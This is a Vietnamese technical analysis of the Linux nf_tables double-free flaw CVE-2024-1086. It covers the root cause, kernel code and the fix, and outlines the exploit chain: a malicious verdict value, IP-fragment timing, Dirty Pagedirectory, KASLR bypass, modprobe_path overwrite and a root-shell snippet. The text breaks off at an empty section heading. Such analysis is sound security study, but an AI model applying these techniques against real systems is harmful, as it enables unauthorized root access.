# Lỗ hổng leo thang đặc quyền Linux CVE-2024-1086
# 1. Tổng quan
Mô tả: Trong Linux kernel, có một lỗ hổng gọi là "use-after-free" trong thành phần netfilter: nf_tables có thể bị tấn công để leo thang đặc quyền cục bộ. Hàm nft_verdict_init() cho phép các giá trị dương được coi là lỗi loại bỏ (drop error) trong verdict hook, do đó hàm nf_hook_slow() lấy kết quả từ hàm nft_verdict_init() có thể gây ra một lỗ hổng double free. Attacker sẽ dùng một network request đặc biệt. Request không đúng định dạng này đánh lừa kernel giải phóng nhầm một đoạn bộ nhớ quan trọng khi cho rằng request đó được xử lý bình thường. Sau đó attacker có thể khai thác lỗi bộ nhớ này để chèn và thực thi các lệnh đặc quyền.
CVSS: 7.8
Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Phiên bản ảnh hưởng:

Lỗi cơ bản là lỗi xử lý đầu vào của các kết quả của netfilter verdicts. Do đó, yêu cầu để khai thác là nf_tables được bật và user namespace không có đặc quyền được bật. Việc khai thác chỉ diễn ra trên dữ liệu và thực hiện một cuộc tấn công kernel-space mirroring attack (KSMA) từ phân vùng người dùng bằng kỹ thuật Dirty Pagedirectory (pagetable confusion), nó có thể liên kết bất kỳ địa chỉ vật lý nào (cùng quyền của nó) với các địa chỉ bộ nhớ ảo bằng cách thực hiện đọc/ghi vào địa chỉ người dùng.
## Workflow
Để kích hoạt lỗi dẫn đến double-free, thêm một quy tắc Netfilter vào user namespace không có đặc quyền. Quy tắc Netfilter chứa một biểu thức có giá trị verdict độc hại, làm cho mã kernel nf_tables nội bộ xử lý `NF_DROP` trước tiên, sau đó giải phóng skb, và sau đó trả về `NF_ACCEPT` để quá trình xử lý gói tiếp tục và nó sẽ giải phóng skb hai lần. Sau đó, kích hoạt quy tắc này bằng cách cấp phát một packet IP 16-page(để nó được cấp phát bởi `buddy-allocator` và không phải là `PCP-allocator` hoặc `slab-allocator`), và packet này có `migratetype 0`.
Để trì hoãn việc giải phóng lần thứ hai (để tránh corruption ), lạm dụng logic phân mảnh IP của packet IP. Điều này cho phép packet "đợi" trong một hàng đợi phân mảnh IP mà không bị giải phóng trong một khoảng thời gian tùy ý. Để đi qua đoạn mã xử lý hàng đợi này cần giả mạo địa chỉ IP nguồn là `1.1.1.1` và địa chỉ IP đích là `255.255.255.255`. Tuy nhiên, điều này gây ra Reverse Path Forwarding (RPF), nên phải tắt nó trong networking namespace (không cần quyền root).
Để có quyền đọc/ghi không giới hạn vào bất kỳ địa chỉ bộ nhớ vật lý nào (bao gồm cả địa chỉ kernel), có thể sử dụng kỹ thuật Pagedirectory Dirty. Phương pháp này là sự nhầm lẫn của pagetables, bằng cách cấp phát một page PTE và một page PMD cho cùng một địa chỉ.
Đáng tiếc, các page pagetables này là các page `order==0 migratetype==0` được cấp phát bằng `alloc_pages()`, và các head `skb` (các object double-free'd) được cấp phát bằng `kmalloc`, có nghĩa là `slab-allocator` được sử dụng cho page `order<=1`, `PCP-allocator` được sử dụng cho `order<=3`, và `buddy-allocator` được sử dụng cho `order>=4`. Phải sử dụng các page `order>=4` cho double-free.
Để cấp phát kép các page PTE/PMD với double-free dùng `kmalloc`, có 2 kỹ thuật:
- The better page conversion technique (PCP draining): Tận dụng PCP-allocator là một danh sách freelist theo CPU, có thể giải phóng các page `order==4` vào danh sách freelist của buddy-allocator, và làm mới danh sách PCP `order==0` với các page từ danh sách freelist của buddy-allocator.
- The original page conversion technique (race condition): Phụ thuộc vào race-condition và chỉ hoạt động trong môi trường ảo như VM QEMU, tận dụng một thông báo WARN() gây trễ để giải phóng một page buddy `order==4` vào danh sách freelist `order==0` của PCP. Phương pháp này không hoạt động trên phần cứng thực và được thay thế bằng phương pháp trên.
Trong quá trình khai thác double-free, cần đảm bảo rằng page refcounts không bao giờ giảm xuống 0 để tránh việc từ chối giải phóng page. Spray các object skb vào slabcache `skbuff_head_cache` của cùng một CPU để tránh phát hiện corruption và tăng tính ổn định.
Khi khai thác được double-free, sử dụng kỹ thuật Dirty Pagedirectory để đạt được quyền đọc / ghi không giới hạn vào bất kỳ địa chỉ vật lý nào. Điều này đòi hỏi cấp phát kép một page table entry - PTE và một page middle directory - PMD cùng một địa chỉ.
Để sử dụng nguyên tắc R/W không giới hạn này, cần TLB flushing. Tạo một thuật toán flush phức tạp để TLB flushing trong Linux từ userland: gọi `fork()` và `munmap()` các VMA(Virtual Memory Area) đã flush. Để tránh sự cố khi tiến trình con thoát khỏi chương trình, làm cho luồng con đi vào chế độ sleep vô thời hạn.
Sử dụng quyền truy cập bộ nhớ vật lý không giới hạn này để bruteforce KASLR(Kernel Address Space Layout Randomization) vật lý và tìm base address kernel vật lý. Để tìm modprobe_path, thực hiện scan bộ nhớ và xác minh kết quả. Để drop một shell root, ghi đè modprobe_path hoặc `"/sbin/usermode-helper"` vào bộ nhớ file descriptors của exploit.
# 2. Background Info
Netfilter là một phần mềm firewall mã nguồn mở cho hệ điều hành Linux, được tích hợp sâu vào kernel của Linux. Nó cung cấp một cơ chế mạnh mẽ để kiểm soát luồng dữ liệu đi và đến từ mạng trên hệ thống Linux.
Các tính năng chính của Netfilter bao gồm:
- Firewall: Netfilter cho phép người dùng xác định các quy tắc để lọc và kiểm soát lưu lượng mạng dựa trên nhiều tiêu chí như địa chỉ IP, cổng, giao thức, và các thuộc tính khác của gói tin.
- Network Address Translation (NAT): Netfilter hỗ trợ NAT để chuyển đổi địa chỉ IP và cổng trong các gói tin đi qua máy chủ, giúp tạo ra một môi trường mạng phức tạp hơn.
- Packet Mangling: Netfilter cung cấp khả năng thay đổi các trường trong header của gói tin, cho phép người dùng thực hiện các biện pháp như chuyển hướng gói tin, đánh dấu gói tin hoặc giả mạo địa chỉ IP.
- Connection Tracking: Netfilter có khả năng theo dõi các kết nối mạng, cho phép nó xác định trạng thái của các kết nối mạng và áp dụng các quy tắc lọc dựa trên trạng thái kết nối.
- IPv6 Support: Netfilter hỗ trợ cả IPv4 và IPv6, cho phép kiểm soát lưu lượng mạng trên cả hai phiên bản IP.

Netfilter đi kèm với một loạt các thành phần mặc định sử dụng các mắt xích này. Dưới đây là một số ví dụ:
- nf_conntrack: Giữ theo dõi tất cả các kết nối mạng.
Hoạt động trên mức độ tổng quát hơn so với gói tin, nhóm các gói tin lại với nhau thành các kết nối.
Một kết nối không nhất thiết phải là một kết nối cấp độ lớp giao vận. Ví dụ, ICMP cũng có mục kết nối.
Thu thập dữ liệu cho các kết nối như số gói tin và byte gửi đi, thời gian tạo, trạng thái kết nối, vv.
- nf_nat: Thực hiện chuyển đổi địa chỉ mạng (và cổng) cho các gói tin IP đến và đi.
Xây dựng trên nf_conntrack.
Thay đổi địa chỉ và cổng nguồn của các gói tin đi trước khi chuyển tiếp chúng.
Thay đổi địa chỉ và cổng đích của các gói tin đến thành địa chỉ máy chủ mạng cục bộ và chuyển tiếp chúng tương ứng.
- nf_queue: Ủy thác các gói tin cho usermode, sau đó một dịch vụ có thể thực hiện các nhiệm vụ phức tạp tùy ý trên chúng.
Cung cấp một cách dễ dàng để mở rộng netfilter theo bất kỳ cách nào bạn muốn, với một chi phí hiệu suất.
- nf_tables: Lọc hoặc chuyển hướng các gói tin dựa trên các quy tắc được xác định bởi người dùng.
Là người kế nhiệm của iptables, nf_tables được thiết kế để không phụ thuộc vào giao thức nào cả.
Logic phát hiện giao thức phải được mã hóa trong các quy tắc.
Tóm lại, Netfilter cung cấp một cơ chế mạnh mẽ cho việc kiểm soát và quản lý lưu lượng mạng trên hệ thống Linux, với những thành phần mặc định như nf_conntrack, nf_nat, nf_queue và nf_tables để giúp thực hiện các chức năng cụ thể như theo dõi kết nối, NAT, xử lý gói tin trong usermode và lọc gói tin dựa trên các quy tắc người dùng.
**Thành phần của Netfilter**

## 2.1 Giới thiệu về nf_tables
nf_tables là một modun trong Linux kernel. nf_tables dùng interface để cung cấp các quy tắc (rule). Sau đó, các quy tắc này sẽ được “chạy” trên một số gói tin (packet) được chỉ định nhất định, sau đó sẽ đưa ra một số phán quyết để quyết định có nên loại bỏ hay cho phép các gói hay định tuyến lại chúng hay không. nftables sử dụng state machine với các quy tắc do người dùng quy định.
Các quy tắc được xác định theo thứ tự:
* Tables (which protocol)
* Chains (which trigger)
* Rules (state machine functions)
* Expressions (state machine instructions)
Một Table chứa nhiều Chain , một Chain chứa nhiều Rule, một Rule chứa nhiều Expression

Điều này cho phép người dùng lập trình các quy tắc tường lửa phức tạp, vì nftables có nhiều biểu thức nguyên tử có thể được xâu chuỗi lại với nhau trong các quy tắc để lọc gói. Ngoài ra, nó cho phép chạy các chain ở các thời điểm khác nhau trong mã xử lý gói (tức là trước khi định tuyến và sau khi định tuyến), mã này có thể được chọn khi tạo chain bằng cách sử dụng các cờ như `NF_INET_LOCAL_IN` và `NF_INET_POST_ROUTING`. Do tính chất tùy biến này,nên nftables không an toàn. Do đó, nhiều lỗ hổng đã được báo cáo và đã được khắc phục.
### 2.1.1. Netfilter Hierarchy
Verdicts là quyết định của bộ quy tắc Netfilter về một gói nhất định đang cố gắng vượt qua tường lửa. Ví dụ, nó có thể là drop hoặc accept. Nếu quy tắc quyết định loại bỏ gói, Netfilter sẽ ngừng xử lý gói. Ngược lại, nếu quy tắc chấp nhận gói, Netfilter sẽ tiếp tục xử lý gói cho đến khi gói vượt qua tất cả các quy tắc. Tất cả các phán quyết là:
* NF_DROP: Bỏ qua packet, dừng xử lý packet.
* NF_ACCEPT: Chấp nhận packet, tiếp tục xử lý packet đó.
* NF_STOLEN: Dừng xử lý, hook cần giải phóng nó.
* NF_QUEUE: Để ứng dụng của người dùng xử lý nó.
* NF_REPEAT: Gọi lại hook.
* NF_STOP (không dùng nữa): Chấp nhận packet, dừng xử lý gói trong Netfilter.
## 2.2. sk_buff (skb)
Để mô tả dữ liệu mạng (gói IP, khung ethernet, khung WiFi, v.v.), Linux kernel sử dụng cấu trúc `sk_buff` và thường gọi chúng là `skb`. Để biểu diễn một gói, kernel sử dụng 2 object:
* `sk_buff` chứa siêu dữ liệu kernel để xử lý skb
* `sk_buff->head` chứa nội dung gói thực tế như IP header và body của packet IP.

Để sử dụng các giá trị từ IP header kernel sẽ sử dụng ip_hdr().
## 2.3. Phân mảnh IP packet
Một trong những tính năng của IPv4 là phân mảnh gói. Điều này cho phép các gói được truyền bằng nhiều đoạn IP fragments. Các phân đoạn chỉ là các gói IP thông thường, ngoại trừ việc chúng không chứa kích thước gói đầy đủ được chỉ định trong header IP của nó và nó có cờ `IP_MF` được đặt trong header.
Độ dài gói IP trong header của phân đoạn IP là `iph->len = sizeof(struct ip_header) * frags_n + total_body_length`. Trong Linux Kernel, tất cả các phân đoạn của một gói IP được lưu trữ trong cùng một red-black tree (được gọi là hàng đợi phân đoạn IP) cho đến khi tất cả các phân đoạn được nhận. Để lọc ra đoạn nào thuộc phần bù nào khi tập hợp lại, phần bù đoạn IP là bắt buộc: `iph->offset = body_offset >> 3`, trong đó `body_offset` là phần bù trong phần thân IP cuối cùng và do đó loại trừ mọi độ dài header IP mà có thể được sử dụng khi tính toán `iph->len`. Dữ liệu phân đoạn phải được căn chỉnh theo 8 byte vì thông số kỹ thuật chỉ định rằng 3 bit trên của trường offset được sử dụng cho cờ (tức là `IP_MF` và `IP_DF`). Nếu muốn truyền 64 byte dữ liệu qua 2 đoạn có kích thước lần lượt là 8 byte và 56 byte, có thể định dạng nó như mã bên dưới. Kernel sau đó sẽ tập hợp lại gói IP thành 'A' * 64.
```cpp!
iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag
memset(iph1_body, 'A', 8);
transmit(iph1, iph1_body, 8);
iph2->len = sizeof(struct ip_header)*2 + 64;
iph2->offset = ntohs(8 >> 3); // don't set IP_MF since this is the last packet
memset(iph2_body, 'A', 56);
transmit(iph2, iph2_body, 56);
```
## 2.4. Page allocation
Có 3 cách chính để cấp phát các page trong kernel Linux: sử dụng slab-allocator, buddy-allocator và per-cpu page (PCP) allocator. Tóm lại: buddy-allocator được gọi bằng `alloc_pages()`, có thể được sử dụng cho bất kỳ order page nào (0->10), và cấp phát các page từ một bể page toàn cầu trên các CPU. PCP-allocator cũng được gọi bằng `alloc_pages()`, và có thể được sử dụng để cấp phát các page với order 0->3 từ một bể page theo từng CPU. Ngoài ra, còn có slab-allocator, được gọi bằng `kmalloc()` và có thể cấp phát các page với order 0->1 (bao gồm các cấp phát nhỏ hơn) từ các freelist/pool đặc biệt theo từng CPU.
PCP-allocator tồn tại vì buddy-allocator khoá quyền truy cập khi một CPU đang cấp phát một page từ global pool, và do đó chặn một CPU khác khi muốn cấp phát một page. PCP-allocator ngăn chặn điều này bằng cách có một bể page nhỏ hơn theo từng CPU được cấp phát hàng loạt bởi buddy-allocator ở nền. Điều này giúp giảm thiểu khả năng chặn quá trình cấp phát page.


## 2.5. Physical memory
### 2.5.1. Ánh xạ Physical-to-virtual memory
Kernel là một phần quan trọng của hệ điều hành và một trong những nhiệm vụ quan trọng nhất của nó là quản lý bộ nhớ. Có hai loại bộ nhớ chính: bộ nhớ vật lý là nơi các chip RAM lưu trữ dữ liệu, còn bộ nhớ ảo là cách mà các chương trình (bao gồm cả kernel) trên CPU tương tác với bộ nhớ vật lý. Khi sử dụng công cụ gỡ lỗi như gdb để xem mã nhị phân, tất cả địa chỉ sử dụng đều là ảo.
Bộ nhớ ảo thực tế được xây dựng trên bộ nhớ vật lý. Một ưu điểm của việc này là phạm vi địa chỉ ảo có thể lớn hơn phạm vi địa chỉ vật lý, điều này hỗ trợ cho hiệu suất và tính bảo mật của hệ thống. Có thể ánh xạ một phần của bộ nhớ vật lý cho nhiều phần của bộ nhớ ảo, hoặc thậm chí tạo ra một ảo tưởng với kích thước lớn hơn so với bộ nhớ vật lý thực sự.
Ví dụ, một hệ thống có thể chỉ có 4GiB bộ nhớ vật lý nhưng có thể làm việc với phạm vi bộ nhớ ảo lên đến 128TiB cho mỗi tiến trình. Nghĩa là có thể cung cấp nhiều không gian bộ nhớ ảo cho các ứng dụng mà không cần thêm bộ nhớ vật lý. Khi một chương trình muốn ghi dữ liệu vào bộ nhớ ảo, hệ thống có thể thực hiện các kỹ thuật như copy-on-write (COW) để quản lý bộ nhớ hiệu quả.

Khi CPU cần dịch địa chỉ bộ nhớ ảo thành địa chỉ bộ nhớ vật lý, nó sử dụng pagetables. Quá trình này diễn ra không được chương trình hoặc kernel nhận biết. CPU tìm kiếm trong Translation Lookaside Buffer (TLB) để xem liệu đã có bản dịch từ địa chỉ ảo sang địa chỉ vật lý hay chưa. Nếu có, TLB sẽ cung cấp địa chỉ vật lý trực tiếp, tiết kiệm thời gian. Nếu không, CPU phải đi qua pagetables để tìm địa chỉ vật lý.
### 2.5.2. Pagetables
Khi TLB cần tìm địa chỉ vật lý cho một địa chỉ ảo không có trong bộ đệm của nó, nó thực hiện một quá trình gọi là "pagewalk" để lấy địa chỉ vật lý của địa chỉ ảo đó. Trong pagewalk, TLB đi qua các pagetables, đó là các mảng dữ liệu lồng nhau, để tìm địa chỉ vật lý tương ứng, và các địa chỉ vật lý này thường nằm ở mảng dữ liệu ở mức thấp nhất. Điều này có nghĩa là TLB cần phải lần lượt kiểm tra các mảng dữ liệu này từ trên xuống dưới để lấy được địa chỉ vật lý mong muốn.
Sơ đồ dưới đây sử dụng các chỉ số pagetables 9 bit (vì 2**9 = 512 giá trị có thể phân page vừa với một page duy nhất). Đây là pagetables 4 cấp,kernel cũng hỗ trợ pagetables 5 cấp, 3 cấp, v.v.

Mô hình này sử dụng các mảng lồng nhau với mục tiêu tiết kiệm bộ nhớ. Thay vì cấp phát một mảng lớn để chứa 128TiB địa chỉ ảo, nó được phân chia thành các mảng nhỏ hơn với mỗi mức có phạm vi nhỏ hơn. Nghĩa là các bảng chỉ cần được cấp phát cho khu vực đã được sử dụng, không gian trống không bị lãng phí.
Quá trình đi qua các pagetables là việc tham chiếu vào các mảng . Các chỉ số cho các tham chiếu này được nhúng vào địa chỉ ảo, điều này dẫn đến việc một địa chỉ ảo không chỉ là một địa chỉ, mà còn chứa các chỉ số pagetables với một tiền tố xác định.
Cách tiếp cận này cho phép lấy địa chỉ vật lý O(1), vì thời gian tham chiếu vào các mảng là O(1) và việc dịch bit để khôi phục chỉ số cũng là O(1). Tuy nhiên, việc đi qua các pagetables thường xuyên làm chậm đi thậm chí cả quá trình tham chiếu vào các mảng này. Đó là lý do tại sao TLB được triển khai.
Trong thực tế, TLB phải tìm các pagetables trong bộ nhớ vật lý để thực hiện pagewalk. Địa chỉ gốc của cấu trúc pagetables không gian người dùng (PGD) của quá trình đang chạy được lưu trữ trong thanh ghi CR3 đặc quyền trong lõi CPU tương ứng. 'Đặc quyền' ở đây có nghĩa là thanh ghi chỉ có thể được truy cập từ không gian kernel, vì các truy cập từ không gian người dùng sẽ bị cấm. Khi kernel chuyển đổi CPU sang ngữ cảnh của một quá trình khác, nó sẽ thiết lập thanh ghi CR3 thành `virt_to_phys(current->mm->pgd)`
## 2.6. TLB Flushing
Translation lookaside buffer (TLB) là bộ nhớ đệm lưu trữ các bản dịch gần đây của bộ nhớ ảo sang bộ nhớ vật lý. Nó được sử dụng để giảm thời gian truy cập vào vị trí bộ nhớ người dùng. Nó có thể được gọi là bộ đệm dịch địa chỉ. Nó là một phần của đơn vị quản lý bộ nhớ (MMU) của chip. TLB có thể nằm giữa CPU và bộ đệm CPU, giữa bộ đệm CPU và bộ nhớ chính hoặc giữa các cấp độ khác nhau của bộ đệm đa cấp.
Việc TLB Flushing là việc làm sạch TLB. Điều này giúp tăng hiệu suất vì CPU không cần phải đi qua các page table nữa mà thay vào đó có thể nhìn vào TLB. Khi cấu trúc pagetable của địa chỉ ảo thay đổi trong không gian kernel, nó cần được cập nhật trong TLB. Việc này được gọi là "flush" và được gọi ra từ kernel thông qua các cuộc gọi hàm trong các hàm cùng nơi với việc thay đổi page table. Các hàm này làm sạch TLB, làm trống bộ đệm dịch (có thể chỉ cho một phạm vi địa chỉ nhất định) của TLB. Sau đó, khi truy cập địa chỉ ảo tiếp theo, TLB sẽ lưu trữ bản dịch vào bộ nhớ đệm TLB.
Tuy nhiên, đôi khi thay đổi các page table (và các địa chỉ ảo tương ứng) trong các lỗ hổng vào những thời điểm không được mong đợi. Một ví dụ điển hình là sử dụng một lỗi ghi UAF để ghi đè lên một PTE. Lúc đó, các hàm làm sạch TLB trong kernel không được gọi, vì không sử dụng các hàm đó để thay đổi các page table, mà chỉ sử dụng các hàm đó để gọi các hàm đó. Do đó, cần phải làm sạch TLB một cách gián tiếp từ không gian người dùng. Nếu không, TLB sẽ chứa các mục bộ nhớ đệm lỗi thời.
## 2.7. Dirty Pagetable
Dirty Pagetable là một kỹ thuật mới ghi đè lên các PTE để thực hiện một cuộc tấn công kernel-space mirroring attack (KSMA).
Dirty Pagetable works
- Bước 1: Trigger the UAF và lấy object slab của victim cho page allocator.
Lỗ hổng UAF là việc giải phóng 1 heap object nhưng sau đó vẫn sử dụng nó. Do Linux Kernel slab allocator để quản lý tất cả các loại heap object, nên victim object phải nằm trong slab (gọi là victim slab). Kích hoạt UAF sẽ giải phóng được victim object. Sau đó, nếu tiếp tục giải phóng tất cả các object khác trong victim slab, victim slab sẽ trống và điều này có thể khiến victim slab được tái sử dụng bởi page allocator.
- Bước 2: Occupy user page tables vào victim heap slab
User page tables: Đây là các bảng dùng để ánh xạ địa chỉ bộ nhớ của các tiến trình người dùng vào địa chỉ vật lý trong bộ nhớ. Chúng là một phần quan trọng của hệ thống quản lý bộ nhớ trong một hệ thống máy tính.
Page allocator: Đây là một phần của hệ thống quản lý bộ nhớ, nhiệm vụ của nó là cấp phát và thu hồi các phần của bộ nhớ theo yêu cầu từ các tiến trình.
Victim slab: Đây là một loại bộ nhớ mà ta đang nói đến, nơi chứa các object bị tác động bởi lỗi "use-after-free" (uaf).
Chúng ta có thể làm đầy "victim slab" bằng cách cấp phát nhiều user page tables cùng một lúc. Điều này có thể làm cho "victim slab" không còn trống nữa, mà chứa các user page tables. Victim object sẽ nằm trong 1 user page table.

- Bước 3: Điều khiển Page Table Entry(PTE)
Bước này sẽ lợi dụng các lỗ hổng như double-free, use-after-free để tạo 1 cách thức ghi (write primitive) vào victim object nhằm mục đích sửa đổi Page Table Entry(PTE). Bởi vì tất cả các trang vật lý tương ứng với địa chỉ ảo của người dùng được cấp phát cùng một lúc, vì vậy địa chỉ vật lý của chúng rất có khả năng liền kề.
Page table và địa chỉ ảo của người dùng tương ứng:

Nếu chúng ta thêm 0x1000 vào PTE nạn nhân, nó sẽ thay đổi trang vật lý tương ứng với PTE nạn nhân giống như sau:

Không gian kernel và không gian người dùng cần chia sẻ một số trang vật lý trong một số trường hợp. Các trang vật lý chia sẻ được ánh xạ vào không gian hạt nhân và không gian người dùng cùng một lúc, vì vậy chúng có thể được truy cập từ cả hai không gian. Khá nhiều thành phần có thể được sử dụng để phân bổ các trang chia sẻ như vậy, chẳng hạn như heap dma-buf, io_uring, GPU, v.v.
Có thể lợi dụng để có được sharing page và các user page table theo 3 bước:

Khi đó trong bộ nhớ vật lý sẽ thu được như sau:

Hủy ánh xạ địa chỉ ảo được liên kết với PTE nạn nhân và ánh xạ sharing page đến địa chỉ ảo như hai hình bên dưới:

Nếu chúng ta thực hiện gia tăng để thêm 0x1000, 0x2000, 0x3000, v.v. vào PTE nạn nhân, chúng ta sẽ có cơ hội rất lớn để làm cho PTE nạn nhân được liên kết với bảng trang người dùng như thế này:

- Bước 4: Modify PTE để patch kernel .
Sau khi điều khiển được PTE ở bước 3, chúng ta có khả năng kiểm soát (control) được phần page table của kernel. Bằng cách thiết lập địa chỉ vật lý của PTE thành địa chỉ vật lý của mã hoặc dữ liệu của kernel, có thể thực hiện các thay đổi trong kernel theo ý muốn!
Patch các syscalls như setresuid(), setresgid(), etc., để có thể gọi từ unprivileged process.
- Bước 5: Get root.
Vì đã patch kernel nên có thể lấy quyền root bằng đoạn code:
```cpp!
if (setresuid(0, 0, 0) < 0) {
perror("setresuid");
} else {
if (setresgid(0, 0, 0) < 0) {
perror("setresgid");
} else {
printf("[+] Spawn a root shell\n");
system("/system/bin/sh");
}
}
```

## 2.8. Ghi đè modprobe_path
Một trong những kỹ thuật leo thang đặc quyền cổ điển là ghi đè biến modprobe_path trong kernel. Giá trị của biến được thiết lập thành CONFIG_MODPROBE_PATH vào thời gian biên dịch và được đệm thêm KMOD_PATH_LEN byte null. Thông thường CONFIG_MODPROBE_PATH được thiết lập thành "/sbin/modprobe" vì đó là đường dẫn thông thường cho binary modprobe.
Biến này được sử dụng khi một người dùng cố gắng thực thi một binary với một header magic bytes không xác định. Ví dụ, các magic bytes của một binary ELF là FE45 4C46 (".ELF"). Khi thực thi binary, kernel sẽ tìm các trình xử lý nhị phân đã đăng ký mà khớp với các magic bytes đó. Trong trường hợp của ELF, trình xử lý binfmt ELF được chọn. Tuy nhiên, khi một trình xử lý binfmt đã đăng ký không được nhận dạng, modprobe sẽ được gọi bằng đường dẫn được lưu trữ trong modprobe_path và nó sẽ truy vấn cho một module kernel với tên là binfmt-%04x, %04x là biểu diễn hex của 2 byte đầu tiên trong file.

Để khai thác điều này, có thể ghi đè giá trị của modprobe_path bằng path của một tập lệnh leo thang đặc quyền (ví dụ cung cấp /bin/sh root SUID), sau đó gọi modprobe bằng cách thử thực thi một tệp có định dạng không hợp lệ như ffff ffff. Kernel sẽ sau đó chạy /tmp/privesc_script.sh -q -- binfmt-ffff với quyền root, cho phép chạy bất kỳ mã nào với quyền root. Điều này giúp tránh được việc phải chạy các hàm kernel thủ công và thay vào đó cho phép leo thang đặc quyền dễ dàng bằng cách ghi đè một chuỗi.
Nếu CONFIG_STATIC_USERMODEHELPER_PATH được thiết lập, làm cho việc ghi đè modprobe_path trở nên vô ích. Biện pháp ngăn chặn này hoạt động bằng cách đặt đường dẫn của mọi binary được thực thi thành một binary giống như busybox, có hành vi khác nhau dựa trên tên tệp argv[0] được truyền. Do đó, nếu ghi đè modprobe_path, chỉ giá trị argv[0] này sẽ khác biệt, mà binary giống như busybox không nhận diện và do đó sẽ không thực thi.
Cách khai thác được trình bày trong cuộc tấn công này hoạt động cả khi có và không có CONFIG_STATIC_USERMODEHELPER_PATH, vì có thể đơn giản là ghi đè lên chuỗi chỉ đọc "/sbin/usermode-helper" trong bộ nhớ kernel.
# 3. Nguyên nhân lỗ hổng
Hàm nf_hook_slow() trong mã nguồn nf_tables lặp qua tất cả các quy tắc trong một chuỗi và trả về ngay lập tức khi gặp case NF_DROP.
Trong việc xử lý NF_DROP, nó giải phóng packet và cho phép người dùng set giá trị trả về bằng cách sử dụng NF_GET_DROPERR(). Có thể lợi dụng điều này khiến cho hàm trả về NF_ACCEPT bằng cách sử dụng lỗi khi xử lý NF_DROP.
```cpp!
// looping over existing rules when skb triggers chain
int nf_hook_slow(struct sk_buff *skb, struct nf_hook_state *state,
const struct nf_hook_entries *e, unsigned int s)
{
unsigned int verdict;
int ret;
// loop over every rule
for (; s < e->num_hook_entries; s++) {
// acquire rule's verdict
verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state);
switch (verdict & NF_VERDICT_MASK) {
case NF_ACCEPT:
break; // go to next rule
case NF_DROP:
kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP);
// check if the verdict contains a drop err
ret = NF_DROP_GETERR(verdict);
if (ret == 0)
ret = -EPERM;
// immediately return (do not evaluate other rules)
return ret;
// [snip] alternative verdict cases
default:
WARN_ON_ONCE(1);
return 0;
}
}
return 1;
}
```
Nguyên nhân cơ bản của lỗi này là một lỗi kiểm tra đầu vào. Điều này là dẫn đến lỗ hổng double-free.
Khi tạo một object verdict cho một hook netfilter, kernel cho phép lỗi drop. Nghĩa là một người dùng tấn công có thể gây ra tình huống dẫn đến lỗi double-free, cụ thể nf_hook_slow() sẽ giải phóng một object skb khi NF_DROP được trả về từ một hook/rule, và sau đó trả về NF_ACCEPT như thể mọi hook/quy tắc trong chuỗi trả về NF_ACCEPT. Điều này làm cho hệ thống khi gọi đến nf_hook_slow() hiểu sai và tiếp tục phân tích packet và cuối cùng làm cho packet bị giải phóng trùng lặp.
```cpp!
// userland API (netlink-based) handler for initializing the verdict
static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
struct nft_data_desc *desc, const struct nlattr *nla)
{
u8 genmask = nft_genmask_next(ctx->net);
struct nlattr *tb[NFTA_VERDICT_MAX + 1];
struct nft_chain *chain;
int err;
// [snip] initialize memory
// malicious user: data->verdict.code = 0xffff0000
switch (data->verdict.code) {
default:
// data->verdict.code & NF_VERDICT_MASK == 0x0 (NF_DROP)
switch (data->verdict.code & NF_VERDICT_MASK) {
case NF_ACCEPT:
case NF_DROP:
case NF_QUEUE:
break; // happy-flow
default:
return -EINVAL;
}
fallthrough;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
break; // happy-flow
case NFT_JUMP:
case NFT_GOTO:
// [snip] handle cases
break;
}
// successfully set the verdict value to 0xffff0000
desc->len = sizeof(data->verdict);
return 0;
}
```
```cpp!
static inline int NF_HOOK(uint8_t pf, unsigned int hook, struct net *net, struct sock *sk,
struct sk_buff *skb, struct net_device *in, struct net_device *out,
int (*okfn)(struct net *, struct sock *, struct sk_buff *))
{
// results in nf_hook_slow() call
int ret = nf_hook(pf, hook, net, sk, skb, in, out, okfn);
// if skb passes rules, handle skb, and double-free it
if (ret == NF_ACCEPT)
ret = okfn(net, sk, skb);
return ret;
}
```
Double-free ảnh hưởng cả đến các object struct sk_buff trong bộ nhớ đệm slab skbuff_head_cache, cũng như một object sk_buff->head có kích thước động từ kmalloc-256 lên đến order 4 page được cấp phát trực tiếp từ buddy-allocator (65536 byte) với các gói ipv4.
object sk_buff->head được cấp phát thông qua một interface giống như kmalloc (kmalloc_reserve()) trong __alloc_skb(). Điều này cho phép cấp phát các object có kích thước động. Do đó, có thể cấp phát các object slab từ kích thước 256 đến page đầy đủ có kích thước 65536 byte từ buddy-allocator.
Kích thước của object sk_buff->head ảnh hưởng trực tiếp bởi kích thước gói mạng, vì object này chứa nội dung packet. Do đó, nếu gửi một packet với 40KiB dữ liệu, kernel sẽ cấp phát một page order 4 trực tiếp từ buddy-allocator.
Khi cố gắng mô phỏng lỗi, kernel có thể gặp sự cố, ngay cả khi tất cả các biện pháp ngăn chặn đều được tắt. Điều này là do một số trường của skb (như con trỏ) bị hỏng khi skb được giải phóng. Vì vậy, cần tránh việc sử dụng các trường này.
Giải pháp của các nhà phát triển kernel làm sạch các kết quả từ đầu vào userland trong API netfilter chính, trước khi kết quả độc hại được thêm vào.
```cpp!
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -10988,16 +10988,10 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
data->verdict.code = ntohl(nla_get_be32(tb[NFTA_VERDICT_CODE]));
switch (data->verdict.code) {
- default:
- switch (data->verdict.code & NF_VERDICT_MASK) {
- case NF_ACCEPT:
- case NF_DROP:
- case NF_QUEUE:
- break;
- default:
- return -EINVAL;
- }
- fallthrough;
+ case NF_ACCEPT:
+ case NF_DROP:
+ case NF_QUEUE:
+ break;
case NFT_CONTINUE:
case NFT_BREAK:
case NFT_RETURN:
@@ -11032,6 +11026,8 @@ static int nft_verdict_init(const struct nft_ctx *ctx, struct nft_data *data,
data->verdict.chain = chain;
break;
+ default:
+ return -EINVAL;
}
desc->len = sizeof(data->verdict);
--
```
# 4. Techniques
## 4.1. Page refcount juggling
